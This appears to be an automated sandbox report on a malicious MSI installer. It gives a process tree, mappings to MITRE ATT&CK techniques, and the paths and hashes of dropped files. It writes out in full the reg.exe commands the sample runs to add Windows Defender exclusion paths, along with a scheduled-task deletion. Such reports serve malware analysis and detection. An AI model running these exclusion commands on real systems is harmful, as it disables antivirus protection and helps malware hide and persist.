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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1668
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XmkSaD" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XmkSaD" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:404
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C:\Windows\system32\cmd.execmd.exe1⤵PID:6044
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5048
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3320 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3404
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4292
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e588420.rbs
- Size 7KB
- SHA256 9fdc0f544df6cdf84eb761986f157da3b4b67ce2d13720728833bcde9cfcdc15
- MD5 e5b10869631421e54d700311fbf43bd8
- SHA1 e3a025107bcc70db699964545257f4175bef3ea1
- SHA512 6dde4ae71e72d5263cfac9fe484c10661322f3b8d85d3c548ff19ceb0df23f693371c87f3961354d0ea437ae8b989d1f2fdb720ac884fa820708ecf65d57ca09
- SSDEEP 96:1VsJ4uu1eSqxUUadI21CsThqK/UadI21C6jdAsDThqKjHYIK5RPWELEyE/YwpZCA:1VsJ4eDzGI2IIBsGI2ISBIHtI5V8Kpf
- TLSH T1F5F10146B20481E2E9D77731CF271B263BB3D3E49314630B0ADD84749E4738D6EA519E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\XmkSaD\UxEnhance64.dll
- Size 3.1MB
- SHA256 da7d3eec5f20a89e81eeff99acf077f258f2197290540b1a7672fbb4edd5d615
- MD5 41ebd841410fabb46b4f3ac58eb45c39
- SHA1 13b07efbcb5c8c13c3480787fe379621e5511d81
- SHA512 781c89c50fdf3565cc43a8f62cbe5403c4aa5d9766a5a1ca3314419368e0fd03266af0102d9a4d459ba2271dfcce4ff3ccd980d44c2683a46ef18ed24c246fe0
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+f:P9m29xx3Tiqt06ox6+z2rNNrKof
- TLSH T113E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\XmkSaD\adoresd.dat
- Size 4.8MB
- SHA256 aa556e143de6d3a5c2b69c2eb9762312c6cceb2e00547b041d2f3c343987ce01
- MD5 001c2e4fcc6441e75d99175388fb8614
- SHA1 27111c605f1b2eb674196e4b92a3f134fee59175
- SHA512 6c46da7f3e5d61340fd7ba9c9d23921bb58088f3a3c587b0f044db3d3fe2307ad850d6e127084d7a576b035bc6c1f9fb13c52c94910c5d77fc35c9fd14d14e9b
- SSDEEP 98304:DuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:EQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T198363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB98AFE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\XmkSaD\msadox.tb
- Size 8KB
- SHA256 dcccaab45c84cce35476cdaa73785a7c8608131cb6e52fc280b0d4de20c51e09
- MD5 877e6d308247b484605bc77aed01455e
- SHA1 6247a53f3444cae6fe0ebcf78f68d11210f8fd73
- SHA512 04168773f70996508b31c049c87f28b8ebf2ffb78f5a3e8e9238a1a8a6c0e1027afab08a09a469b7e0e886d71be1af9822e72ed3d5d298f1cefbf77759d02903
- SSDEEP 192:RqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:RsZqZOXQ3uqvR2Kfzp
- TLSH T187029E06D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\XmkSaD\xO3S34.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8605.tmp
- Size 7.6MB
- SHA256 b3c2c9b7ae11357da53cb6ba325949b2e73cd89aaaf2336257ba9f5709900f5e
- MD5 853c5ee34aea40fa1aa4f8091bc72252
- SHA1 17ced4d59c815dcc0108929d385cd882731b4311
- SHA512 90ccc6a5c411627b6a91ec1fa71104a7de1bd1c6790b968ea857ef6bb61a6754304caaa6d3b9b38cb158de1fdcaaa28bd4c098f1aa7bf52231849403e45d1586
- SSDEEP 196608:yGbukNfmtyxzmdV+HCNILJghIpo7h4kVg2prApXJTgY:yGSJty8TaCyLf+Cky7
- TLSH T1F6863399349A3570C297DBB02943287F7D6E37C4BE764C5EBBEA9A101C322390735366
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58841f.msi
- Size 7.7MB
- SHA256 96a7d0f51c69d3c392f668be28df4569a5a6f17ce906f18450487c22b2f9e4a0
- MD5 0588019453b45d231c034107937c19af
- SHA1 82c6fef26c7c512a59be0c52816757805d8be3cc
- SHA512 09fcb583ba790a473f4c62a6fce4fb5510ebffe1a6c7f45e9430b95beadec90f0ce2580dcb5fde8874d758517ccd6de93252bf512d8660151f1deb259e526b77
- SSDEEP 196608:xGbukNfmtyxzmdV+HCNIL2ghIpo7h4kVg2prApXJTgU:xGSJty8TaCyLA+Ckyn
- TLSH T1C9863399349A3671C297D7B02953257E7D6E3FC4BE764C1AB79AB6102C32338073136A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 6b531501a6aeaf84a5828827cd19b17cde63d4eb6304f712befb557ea7937b80
- MD5 ae7ad7d361e01d90c3daf05fea78fe46
- SHA1 f948bb418605a10004b7a64a6d8a26e842aba839
- SHA512 ebedceaf4419530f3a69d1596e8f6f8012ba13d887942aaf2acb40c1ee61102d4c4c070d5854734f5d92520eeba90aca7c4ef9d2791048c8e21e22cdba7fe06d
- SSDEEP 24576:/u8m+1z9doO/vvTL7WNeImKZc00jV1dShLmtPC8Vl0aMOqkAIv1UF7GRo:R
- TLSH T1E347C42437FD2210E7F79E3C68F06A27893A7D5B9C159E8D05411F8E0961BB0E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{12d9ef41-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c2d0eaba-b69f-454b-a6af-c057beefb842}_OnDiskSnapshotProp
- Size 6KB
- SHA256 5441d402e9f9a239a1c781b513607b71f539973f1ef4dc42cf006af3f462df87
- MD5 6c73fb4a0a3915f39c05ba42288d3265
- SHA1 ccdc8f095e31941e1786139f6c8b7544dd1ed496
- SHA512 04d588499faa924946c2d7a911d8eea2c9a48151ab306a6566ba44b6d593ebb851ccf941f1726e2efc216253bf888a00bed653b8fd4b20a1af2f5be5865196ed
- SSDEEP 96:F13H4DEnUvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:v3H4Nb++ZVm
- TLSH T123D19B184AE54311E2B3AB712DF18557A477B811EF33CB8E0198638E2670A10F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH